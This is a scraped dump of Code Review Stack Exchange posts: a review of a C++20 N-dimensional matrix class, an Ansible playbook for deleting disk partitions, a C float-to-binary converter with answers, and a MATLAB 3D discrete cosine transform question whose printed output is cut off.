const std::array<std::size_t, N>& dims,
const std::array<std::size_t, N>& strides,
T* data_view) : Base(size, dims, strides), data_view_ {data_view} {
view_strides_ = computeStrides(dims);
}
~MatrixView() override = default;
friend void swap(MatrixView& a, MatrixView& b) noexcept {
swap(static_cast<Base&>(a), static_cast<Base&>(b));
std::swap(a.data_view_, b.data_view_);
std::swap(a.view_strides_, b.view_strides_);
}
template <typename T_>
struct MVIterator {
MatrixView* ptr_ = nullptr;
std::array<std::size_t, N> pos_ = {0};
std::size_t offset_ = 0;
std::size_t index_ = 0;
using difference_type = std::ptrdiff_t;
using value_type = T_;
using pointer = T_*;
using reference = T_&;
using iterator_category = std::random_access_iterator_tag;
MVIterator(MatrixView* ptr, std::array<std::size_t, N> pos = {0}) : ptr_ {ptr}, pos_ {pos} {
ValidateOffset();
}
reference operator*() const {
return ptr_->data_view_[offset_];
}
pointer operator->() const {
return ptr_->data_view_ + offset_;
}
void ValidateOffset() {
offset_ = std::inner_product(std::cbegin(pos_), std::cend(pos_), std::cbegin(ptr_->strides()), 0lu);
index_ = std::inner_product(std::cbegin(pos_), std::cend(pos_), std::cbegin(ptr_->view_strides_), 0lu);
if (index_ > ptr_->size()) {
throw std::out_of_range("MatrixView iterator out of range");
}
}
void Increment() {
for (std::size_t i = N - 1; i < N; --i) {
++pos_[i];
if (pos_[i] != ptr_->dims(i) || i == 0) {
break;
} else {
pos_[i] = 0;
}
}
ValidateOffset();
}
void Increment(std::ptrdiff_t n) {
if (n < 0) {
Decrement(-n);
return;
}
auto carry = static_cast<std::size_t>(n);
for (std::size_t i = N - 1; i < N; --i) {
std::size_t curr_dim = ptr_->dims(i);
pos_[i] += carry;
if (pos_[i] < curr_dim || i == 0) {
break;
} else {
carry = pos_[i] / curr_dim;
pos_[i] %= curr_dim;
}
}
ValidateOffset();
}
void Decrement() {
for (std::size_t i = N - 1; i < N; --i) {
--pos_[i];
if (pos_[i] != static_cast<std::size_t>(-1) || i == 0) {
break;
} else {
pos_[i] = ptr_->dims(i) - 1;
}
}
ValidateOffset();
}
void Decrement(std::ptrdiff_t n) {
if (n < 0) {
Increment(-n);
return;
}
auto carry = static_cast<std::size_t>(n);
for (std::size_t i = N - 1; i < N; --i) {
std::size_t curr_dim = ptr_->dims(i);
pos_[i] -= carry;
if (pos_[i] < curr_dim || i == 0) {
break;
} else {
carry = static_cast<std::size_t>(-quot(static_cast<long>(pos_[i]), static_cast<long>(curr_dim)));
pos_[i] = mod(static_cast<long>(pos_[i]), static_cast<long>(curr_dim));
}
}
ValidateOffset();
}
MVIterator& operator++() {
Increment();
return *this;
}
MVIterator operator++(int) {
MVIterator temp = *this;
Increment();
return temp;
}
MVIterator& operator--() {
Decrement();
return *this;
}
MVIterator operator--(int) {
MVIterator temp = *this;
Decrement();
return temp;
}
MVIterator operator+(difference_type n) const {
MVIterator temp = *this;
temp.Increment(n);
return temp;
}
MVIterator& operator+=(difference_type n) {
Increment(n);
return *this;
}
MVIterator operator-(difference_type n) const {
MVIterator temp = *this;
temp.Decrement(n);
return temp;
}
MVIterator& operator-=(difference_type n) {
Decrement(n);
return *this;
}
reference operator[](difference_type n) const {
return *(this + n);
}
template <typename T2>
std::enable_if_t<std::is_same_v<std::remove_cv_t<T_>, std::remove_cv_t<T2>>, difference_type>
operator-(const MVIterator<T2>& other) const {
return offset_ - other.offset_;
}
// oh no.. *why* defining operator<=> doesn't work to automatically define these in gcc?
template <typename T1, typename T2>
friend std::enable_if_t<std::is_same_v<std::remove_cv_t<T1>, std::remove_cv_t<T2>>,
bool>
operator==(const MVIterator<T1>& it1, const MVIterator<T2>& it2) {
return it1.offset_ == it2.offset_;
}
template <typename T1, typename T2>
friend std::enable_if_t<std::is_same_v<std::remove_cv_t<T1>, std::remove_cv_t<T2>>,
bool>
operator!=(const MVIterator<T1>& it1, const MVIterator<T2>& it2) {
return !(it1 == it2);
}
template <typename T1, typename T2>
friend std::enable_if_t<std::is_same_v<std::remove_cv_t<T1>, std::remove_cv_t<T2>>,
std::compare_three_way_result_t<std::size_t, std::size_t>>
operator<=>(const MVIterator<T1>& it1, const MVIterator<T2>& it2) {
return it1.offset_ <=> it2.offset_;
}
};
using iterator = MVIterator<T>;
using const_iterator = MVIterator<const T>;
using reverse_iterator = std::reverse_iterator<iterator>;
using const_reverse_iterator = std::reverse_iterator<const_iterator>;
iterator begin() { return iterator(this);}
const_iterator cbegin() const { return const_iterator(this); }
iterator end() { return iterator(this, {dims(0), });}
const_iterator cend() const { return iterator(this, {dims(0), });}
reverse_iterator rbegin() { return std::make_reverse_iterator(end());}
const_reverse_iterator crbegin() const { return std::make_reverse_iterator(cend());}
reverse_iterator rend() { return std::make_reverse_iterator(begin());}
const_reverse_iterator crend() const { return std::make_reverse_iterator(cbegin());}
};
} // namespace frozenca
#endif //FROZENCA_MATRIXVIEW_H
</code></pre>
<p>MatrixInitializer.h</p>
<pre><code>#ifndef FROZENCA_MATRIXINITIALIZER_H
#define FROZENCA_MATRIXINITIALIZER_H
#include <concepts>
#include <initializer_list>
namespace frozenca {
template <std::regular T, std::size_t N>
struct MatrixInitializer {
using type = std::initializer_list<typename MatrixInitializer<T, N - 1>::type>;
};
template <std::regular T>
struct MatrixInitializer<T, 1> {
using type = std::initializer_list<T>;
};
template <std::regular T>
struct MatrixInitializer<T, 0>;
} // namespace frozenca
#endif //FROZENCA_MATRIXINITIALIZER_H
</code></pre>
<p>MatrixUtils.h</p>
<pre><code>#ifndef FROZENCA_MATRIXUTILS_H
#define FROZENCA_MATRIXUTILS_H
#include <array>
#include <cassert>
#include <cstddef>
#include <iostream>
#include <iterator>
#include <memory>
#include <type_traits>
namespace frozenca {
template <typename... Args>
inline constexpr bool All(Args... args) { return (... && args); };
template <typename... Args>
inline constexpr bool Some(Args... args) { return (... || args); };
template <typename... Args>
concept RequestingElement = All(std::is_convertible_v<Args, std::size_t>...);
template <std::size_t N>
std::array<std::size_t, N> computeStrides(const std::array<std::size_t, N>& dims) {
std::array<std::size_t, N> strides;
std::size_t str = 1;
for (std::size_t i = N - 1; i < N; --i) {
strides[i] = str;
str *= dims[i];
}
return strides;
}
template <std::size_t N, typename Initializer>
bool checkNonJagged(const Initializer& init) {
auto i = std::cbegin(init);
for (auto j = std::next(i); j != std::cend(init); ++j) {
if (i->size() != j->size()) {
return false;
}
}
return true;
}
template <std::size_t N, typename Iter, typename Initializer>
void addDims(Iter& first, const Initializer& init) {
if constexpr (N > 1) {
assert(checkNonJagged<N>(init));
}
*first = std::size(init);
++first;
if constexpr (N > 1) {
addDims<N - 1>(first, *std::begin(init));
}
}
template <std::size_t N, typename Initializer>
std::array<std::size_t, N> deriveDims(const Initializer& init) {
std::array<std::size_t, N> dims;
auto f = std::begin(dims);
addDims<N>(f, init);
return dims;
}
template <std::regular T>
void addList(std::unique_ptr<T[]>& data,
const T* first, const T* last,
std::size_t& index) {
for (; first != last; ++first) {
data[index] = *first;
++index;
}
}
template <std::regular T, typename I>
void addList(std::unique_ptr<T[]>& data,
const std::initializer_list<I>* first, const std::initializer_list<I>* last,
std::size_t& index) {
for (; first != last; ++first) {
addList(data, first->begin(), first->end(), index);
}
}
template <std::regular T, typename I>
void insertFlat(std::unique_ptr<T[]>& data, std::initializer_list<I> list) {
std::size_t index = 0;
addList(data, std::begin(list), std::end(list), index);
}
inline long quot(long a, long b) {
return (a % b) >= 0 ? (a / b) : (a / b) - 1;
}
inline long mod(long a, long b) {
return (a % b + b) % b;
}
} // namespace frozenca
#endif //FROZENCA_MATRIXUTILS_H
</code></pre>
<p>Test code:</p>
<pre><code>#include "Matrix.h"
#include <iostream>
#include <numeric>
int main() {
frozenca::Matrix<float, 2> m {{1, 2, 3}, {4, 5, 6}};
m = {{4, 6}, {1, 3}};
std::cout << m(1, 1) << '\n';
std::cout << m[{1, 1}] << '\n';
// 3 x 4 x 5
frozenca::Matrix<int, 3> m2 (3, 4, 5);
std::iota(std::begin(m2), std::end(m2), 0);
// should output 0 ~ 59
for (auto n : m2) {
std::cout << n << ' ';
}
std::cout << '\n';
auto sub = m2.submatrix({1, 1, 1}, {2, 3, 4});
// 26 27 28
// 31 32 33
for (auto n : sub) {
std::cout << n << ' ';
}
std::cout << '\n';
}
</code></pre>
<p>Works as intended.</p>
<p>Yet to come: Custom allocators, slices, numerical operations (ex. matrix multiplication), reshape(), 1-D template specialization, etc.</p>
<p>Feel free to comment anything as always!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:45:04.573",
"Id": "513615",
"Score": "1",
"body": "It looks like you know what you're doing. My only issue reading it is design comments (lack of): in particular, why is `T` being passed to the base class template? It's like a mystery novel, learning that after reading a while, rather than being told the architecture up front."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:58:06.570",
"Id": "513617",
"Score": "0",
"body": "@JDługosz The use of ```T``` in ```MatrixBase``` is to use CRTP pattern, which enables several member functions (```begin()``` and friends, ```operator()(size_t, ...)```) to be polymorphic without declaring them as ```virtual```."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T16:03:07.267",
"Id": "513618",
"Score": "0",
"body": "So call it \"ConcreteClass\" or somesuch, not `T`, and put `//CRTP` as a comment after it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T16:05:59.513",
"Id": "513619",
"Score": "0",
"body": "Sure, this is not (yet) intended to be used by others, but I have to document APIs to improve this later."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-11-12T03:40:09.540",
"Id": "532942",
"Score": "0",
"body": "I'm not sure if locality would increase (or if it's relevant) if you changed `std::array<std::size_t, N> dims_; std::array<std::size_t, N> strides_;` to `std::array<extent, N>` where class extent contains both dims_ and structs_. This would also allow moving some member functions to the class (where they make sense.)"
}
] |
[
{
"body": "<p>This is looking very good. I especially like the improvement of <code>submatrix()</code>. Still, there are a few things I mentioned in my review of the 2D class that I'll repeat here, as well as add a few other remarks.</p>\n<h1>Avoid restricting template types too much</h1>\n<p>I see you are using <code>std::regular</code> now instead of <code>concept Scalar</code>. This still requires that the type is equality comparable, but nothing in your classes depend on that. You could perhaps use <a href=\"https://en.cppreference.com/w/cpp/concepts/semiregular\" rel=\"noreferrer\"><code>std::semiregular</code></a> instead.</p>\n<h1>Avoid code duplication</h1>\n<p>Always look for opportunities to reduce code duplication, even if it looks like small stuff. In <code>MatrixBase</code>, <code>begin()</code> and related functions all do a <code>static_cast<T&>(*this)</code>. You can make this code look nicer by writing:</p>\n<pre><code>template <typename T, std::semiregular R, std::size_t N>\nclass MatrixBase {\n T &self() { return static_cast<T&>(*this); }\n ...\npublic:\n auto begin() { return self().begin(); }\n ...\n}\n</code></pre>\n<p><code>quot()</code> in MatrixUtils.h could be rewritten as:</p>\n<pre><code>inline long quot(long a, long b) {\n return (a / b) - (a % b < 0);\n}\n</code></pre>\n<p>Removing duplication reduces the chance of bugs.</p>\n<h1>Issues with <code>concept RequestingElement</code></h1>\n<p>This concept is used in variadic templates, but it should not itself be a variadic template. I would rewrite it as:</p>\n<pre><code>template <typename Arg>\nconcept RequestingElement = std::is_convertible_v<Arg, std::size_t>;\n</code></pre>\n<p>With this, the concepts <code>All</code> and <code>Some</code> are not necessary. However, there are more issues with this concept. For example, this just checks that something is implicitly convertible to <code>size_t</code>, but a <code>float</code> would also implicitly convert to a <code>size_t</code>. It would be better to restrict this to <a href=\"https://en.cppreference.com/w/cpp/concepts/integral\" rel=\"noreferrer\"><code>integral</code></a> types.</p>\n<p>Finally, the name is is not very clear to me, I think it would be better to rename this to <code>IndexType</code>.</p>\n<h1>Make <code>size_</code>, <code>dims_</code> and <code>strides_</code> <code>const</code></h1>\n<p>It looks like the dimensions of a matrix are fixed at construction time. You should therefore make the member variables that represent the size and shape of the matrix <code>const</code>.</p>\n<p>Note that you can, and will need to, call functions inside the member initializer list, like so for example:</p>\n<pre><code>template <typename T, std::regular R, std::size_t N>\ntemplate <typename... Dims>\nMatrixBase<T, R, N>::MatrixBase(Dims... dims) :\n size_{(... * static_cast<std::size_t>(dims))},\n dims_{static_cast<std::size_t>(dims)...},\n strides_{computeStrides(dims_)},\n{\n static_assert(sizeof...(Dims) == N);\n}\n</code></pre>\n<h1>Allow zero length dimensions</h1>\n<p>It looks like your code handles matrices with one of the dimensions having length zero just fine. I would remove the check for that in the constructor of <code>MatrixBase</code>.</p>\n<p>Note that allocating an array of length zero using <code>new</code>, and by extension also when using <code>std::make_unique<T[]>(size)</code>, is legal in C++.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T20:30:56.760",
"Id": "513628",
"Score": "1",
"body": "If you have `const` data members, then you can't assign to the object. He's also defining `swap`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T20:51:54.733",
"Id": "513629",
"Score": "0",
"body": "Ah, good point. I guess it depends then on whether you want to allow swapping between matrices of different sizes. It already limits swapping to matrices with the same number of dimensions..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T21:36:25.107",
"Id": "513632",
"Score": "0",
"body": "Although constructing zero-length dimension matrix itself isn't illegal, you can't do anything meaningful with matrix that contains zero-length dimension (almost all operations will throw exceptions). That's why I didn't allow zero-length dimensions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T23:09:33.347",
"Id": "513637",
"Score": "0",
"body": "Also I moved ```submatrix()``` to ```MatrixBase```, because we can make submatrix from view of matrix as well. Other operations like matrix addition and multiplication will be done upon ```MatrixBase```! Cool!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T00:55:49.040",
"Id": "513639",
"Score": "1",
"body": "@frozenca \"you can't do anything meaningful with matrix that contains zero-length dimension\" - you might want to look at why Fortran (from Fortran 90 through to the latest version) allows zero-length dimensions to be used with the obvious semantics and no exceptions thrown. The basic reason is because they are *useful!*"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T18:08:56.997",
"Id": "260205",
"ParentId": "260197",
"Score": "7"
}
},
{
"body": "<p>Since C++11 you can count on <code>/</code> and <code>%</code> behaving in a prescribed manner: Rather than being implementation-defined (whatever the underlying machine instruction does), it is defined to truncate toward zero. So, you don't need your <code>quot</code> wrapper, and <code>mod</code> can likewise assume that division worked that way already.</p>\n<p>And before C++11, there was <code>std::div</code>.</p>\n<hr />\n<pre><code> auto f = std::begin(dims);\n</code></pre>\n<p>You need to invoke <code>begin</code> and a few others by using the "<code>std</code> two-step", not by calling the qualified version directly. If the type of <code>dims</code> is not a built-in, and requires argument-dependant lookup, then this will fail.</p>\n<pre><code>using std::begin;\nauto f = begin(dims);\n</code></pre>\n<p>or, use the newer versions in the <code>ranges</code> namespace, or your own wrappers.</p>\n<p>But you know the type is <code>std::array</code>, so just like you did when you had an <code>std::initializer_list</code>, just use the member function form <code>dims.begin()</code> so it doesn't raise red flags to the reader.</p>\n<hr />\n<p>BTW, <code>#pragma once;</code> works on all the major compilers.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T21:39:17.383",
"Id": "513633",
"Score": "1",
"body": "```quot``` and ```mod``` behave differently with ```/``` and ```%```. ```quot(-7, 4) = -2```, ```mod(-7, 4) = 1```, ```-7 / 4 = -1```, ```-7 % 4 = -3```. Also I don't like ```#pragma once```, it is non-standard."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T20:40:41.627",
"Id": "260208",
"ParentId": "260197",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T13:47:36.013",
"Id": "260197",
"Score": "7",
"Tags": [
"c++",
"matrix",
"c++20"
],
"Title": "C++20 : N-dimensional minimal Matrix class"
}
|
260197
|
<p>Team, My code: works and does the job. delete partition by unmounting paths if it is not root and is present in defined list in vars.</p>
<p>caveat: I have observed that at times some devices are left unmounted and when I rerun task they then get deleted. not sure what is the issue.</p>
<p>steps:</p>
<ol>
<li>loops through all devices that are in vars</li>
<li>checks if they exists on node via lsblk command</li>
<li>based on result of each item[device from list], task runs an <code>include_task</code>, which
then performs deletion [ unmount, delete
partition steps]</li>
</ol>
<p>Is there any standard approaches that I could use in each task of mine? like instead of using shell module, can I just do it using <code>ansible_device</code> and compare it with list of devices I have in var and then if there is match proceed to deletion? if yes, I am not sure how to do that comparison. anything else, let know please. thanks. am new please give me exact code example of pointing to better approaches. appreciate it.</p>
<p>vars.yml</p>
<pre><code>local_volume_mount_root_directory: /local-volumes
nvme_extn: "p"
loop_device: "loop"
device_prefix: /dev/
devices_list: ["/dev/sdd", "/dev/nvme1n1"]
device_part_number: 1
device_storage_class: ssd-wkr
</code></pre>
<p>tasks</p>
<pre><code>- name: "Check if all inventory defined devices exists on node"
shell: "lsblk -p -l | grep {{ item }}"
register: inv_device_exists
ignore_errors: yes
with_items: "{{ devices_list }}"
tags: inv_device_deletion
- name: "Run include_tasks if each inventory device exists on node"
include_tasks:
file: delete_devices.yml
apply:
tags: inv_device_deletion
when: item.stdout != ""
with_items: "{{ inv_device_exists.results }}"
tags: inv_device_deletion
</code></pre>
<p>below: check to assure each device is not ROOT then check what type is it with regex, then enters block to delete it.</p>
<p><code>delete_devices.yml</code></p>
<pre><code>- name: "Check if all inventory defined devices are mounted on ROOT /"
shell: lsblk -l -p | grep -w "{{ item.item }}" | grep -w /
register: is_device_root
failed_when:
- is_device_root.rc == 0
ignore_errors: no
- name: block to delete Type SD
block:
- name: Get device UUID
command: blkid -s UUID -o value "{{ item.item }}{{ device_part_number }}"
register: uuid_sd
ignore_errors: yes
- name: un-mount devices sd
mount:
path: "{{ volume_mount_root_directory }}/{{ device_storage_class }}/{{ uuid_sd.stdout }}"
state: unmounted
ignore_errors: yes
when: uuid_sd.stdout != ""
- name: Delete partitions "{{ item.item }}"
parted:
device: "{{ item.item }}"
number: "{{ device_part_number }}"
state: absent
when: item.item is regex("sd\w+")
- name: block to delete Type NVME
block:
- name: Get NVME device UUID
command: blkid -s UUID -o value "{{ item.item }}{{ nvme_extn }}{{ device_part_number }}"
register: uuid_nvme
ignore_errors: yes
- name: un-mount devices nvme
mount:
path: "{{ volume_mount_root_directory }}/{{ device_storage_class }}/{{ uuid_nvme.stdout }}"
state: unmounted
ignore_errors: yes
when: uuid_nvme.stdout != ""
- name: Delete partitions "{{ item.item }}"
parted:
device: "{{ item.item }}"
number: "{{ device_part_number }}"
state: absent
when: item.item is regex("nvme\w+")
<span class="math-container">```</span>
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:59:37.763",
"Id": "260204",
"Score": "0",
"Tags": [
"ansible"
],
"Title": "deleting list of devices using ansible"
}
|
260204
|
<p>I wrote a program to convert float to it's binary IEEE754 representation in C.</p>
<p>Any improvements to this is appreciated</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
void binary(float num) {
int n = *(int *) &num; //Evil bit hack from Quake3 Q_sqrt function
int size = sizeof(n) * 8;
char *s = malloc(1 + size); //A string which can hold 32 characters
s[size] = '\0';
int index = size - 1;
while(index >= 0) {
if (n & 1)
*(s + index) = '1';
else
*(s + index) = '0';
n >>= 1;
index--;
}
printf("%s\n", s);
free(s);
}
int main(void) {
float num;
scanf("%f", &num);
binary(num);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T15:17:14.840",
"Id": "513734",
"Score": "0",
"body": "try the itoa() function"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T18:31:42.463",
"Id": "514026",
"Score": "0",
"body": "C--, is the goal to dump the binary data stored in a `float` or \"convert float to it's binary IEEE754\" (even when `float` is not encoded as IEEE754)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T06:11:46.593",
"Id": "514115",
"Score": "0",
"body": "@chux-ReinstateMonica I had initial impression all C compilers would store floats in IEEE 754 representation. So, I have assumed this to be true. But looking at my code, it just dumps binary data stored in float"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T06:14:01.017",
"Id": "514116",
"Score": "0",
"body": "@HannahW. Thanks for your response. Although I'm looking it to solve without using ready-made functions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T07:02:49.047",
"Id": "514118",
"Score": "0",
"body": "Please don't update the code in your question after receiving answers. Doing so would make it very confusing for future readers and reviewers. If you have new code you want reviewed, please post a new question with a link to the old one. If you don't want to have your new code and just want to share it with us, you can post it as an answer. Please note that all answers must be reviews and thus mention what you changed and why, like a review, to be an acceptable answer. Thank you."
}
] |
[
{
"body": "<h2>IEEE754 conformance</h2>\n<p>Compilers aren't required to support IEEE754 decimals. Most implementations do, but regardless, it's better to check for maximum portability. If you're using C99 or later, the macro <code>__STDC_IEC_559__</code> is defined whenever IEEE754 is supported.</p>\n<hr />\n<h2>sizeof(int)</h2>\n<p>Similarly, <code>int</code> isn't guaranteed to be 32 bits. The compiler only guarantees a minimum size of 16 bits. You can use the fixed width integer types defined in <code>stdint.h</code> i.e. <code>uint32_t</code> or <code>int32_t</code>.</p>\n<hr />\n<h2>Use <code>size_t</code> instead of <code>int</code></h2>\n<p>The proper type for <code>sizeof</code> expression is <code>size_t</code>. As a general use, any variable representing size or index should be <code>size_t</code>.</p>\n<hr />\n<p>Since you're not using <code>s</code> outside of the <code>binary</code> function, you can just allocate a fixed an array of size 33 on the stack instead of on the heap using <code>malloc</code>.</p>\n<pre><code>static const size_t num_bits = 33;\nchar s[num_bits];\n</code></pre>\n<hr />\n<p><code>*(s + index)</code> is just fancy way to write <code>s[index]</code>. The latter is much cleaner, IMO and much more easier to understand for someone who isn't familiar with pointer arithmetic.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T00:27:15.167",
"Id": "513638",
"Score": "0",
"body": "The benefit of the stack usage change cannot be underestimated .. Memory allocation is much much slower (even just the overhead of a function call) than just referencing the space the compiler has allowed for / left (compile time cost for runtime benefit !!)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T07:25:59.783",
"Id": "513646",
"Score": "2",
"body": "Your wording about IEEE754 conformance is slightly incorrect. It's the C standard that does not require an implementation to support IEEE754. However, the compilers themselves are not free to choose what they implement, they are bound by what the platform ABI specifies the format of `float` and `double` should be. The same goes for the size of integer types."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T08:34:55.613",
"Id": "513653",
"Score": "0",
"body": "Hmm, I was not aware of that but it makes sense. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T13:51:43.773",
"Id": "513665",
"Score": "0",
"body": "@Rish Thanks for the answer, Although I don't understand why all compilers not use IEEE 754 representation to store `float`. If not, what's the most common way to store floats or double(To be precise single/double precision literals)? By the way, I'm compiling the above program on gcc shipped with ubuntu LTS"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T11:51:25.680",
"Id": "514130",
"Score": "1",
"body": "@G.Sliepen C is popularly used in embedded situations where the is no ABI specifics and compiler can use any FP encoding. Even in ABI specifics, that often refers to the encoding only. Complete adherence to quality handling of sub-normals, -0.0, inf, NaN is wide ranging. Certainly interface requirements strongly influence the code a compiler makes, yet there remains much wiggle room. In the case were the processor directly implements FP, _that_ tends to dominate. Yet without FP hardware (100s of millions/yr of those little embedded processors), be prepared for variety."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T20:23:42.830",
"Id": "260207",
"ParentId": "260206",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260207",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T18:28:17.057",
"Id": "260206",
"Score": "1",
"Tags": [
"c",
"floating-point",
"binary"
],
"Title": "Float to binary conversion"
}
|
260206
|
<p>I am trying to implement 3D Discrete Cosine Transformation calculation in Matlab with parallel computing <code>parfor</code>. The formula of 3D Discrete Cosine Transformation is as follows.</p>
<p><img src="https://i.stack.imgur.com/Zq2fb.png" alt="" /></p>
<p><strong>The experimental implementation</strong></p>
<p>The experimental implementation of 3D Discrete Cosine Transformation function is <code>DCT3D</code>.</p>
<pre><code>function X=DCT3D(x)
[N1,N2,N3] = size(x);
X=zeros(N1,N2,N3);
for k1=0:N1-1
for k2=0:N2-1
for k3=0:N3-1
sumResult=0;
parfor n1=0:N1-1
for n2=0:N2-1
for n3=0:N3-1
sumResult=sumResult+...
x(n1+1,n2+1,n3+1)*...
cos(pi/(2*N1)*(2*n1+1)*k1)*...
cos(pi/(2*N2)*(2*n2+1)*k2)*...
cos(pi/(2*N3)*(2*n3+1)*k3);
end
end
end
X(k1+1,k2+1,k3+1)=8*sumResult*CalculateK(k1)*CalculateK(k2)*CalculateK(k3)/(N1*N2*N3);
end
end
end
</code></pre>
<p>Moreover, the used function <code>CalculateK</code>:</p>
<pre><code>function output = CalculateK(x)
output = ones(size(x));
output(x==0) = 1 / sqrt(2);
</code></pre>
<p><strong>Test cases</strong></p>
<pre><code>%% Create test cells
testCellsSize = 10;
test = zeros(testCellsSize, testCellsSize, testCellsSize);
for x = 1:size(test, 1)
for y = 1:size(test, 2)
for z = 1:size(test, 3)
test(x, y, z) = x * 100 + y * 10 + z;
end
end
end
%% Perform test
result = DCT3D(test);
%% Print output
for z = 1:size(result, 3)
fprintf('3D DCT result: %d plane\n' , z);
for x = 1:size(result, 1)
for y = 1:size(result, 2)
fprintf('%f\t' , result(x, y, z));
end
fprintf('\n');
end
fprintf('\n');
end
%% Visualize result
for z = 1:size(result, 3)
figure;
mesh(result(:, :, z));
end
</code></pre>
<p>The output of the test code above:</p>
<pre><code>3D DCT result: 1 plane
1726.754760 -80.720722 -0.000000 -8.646042 -0.000000 -2.828427 0.000000 -1.143708 -0.000000 -0.320717
-807.207224 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
-86.460422 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-28.284271 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
-11.437076 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
-3.207174 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
3D DCT result: 2 plane
-8.072072 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000
0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
3D DCT result: 3 plane
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
-0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
3D DCT result: 4 plane
-0.864604 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
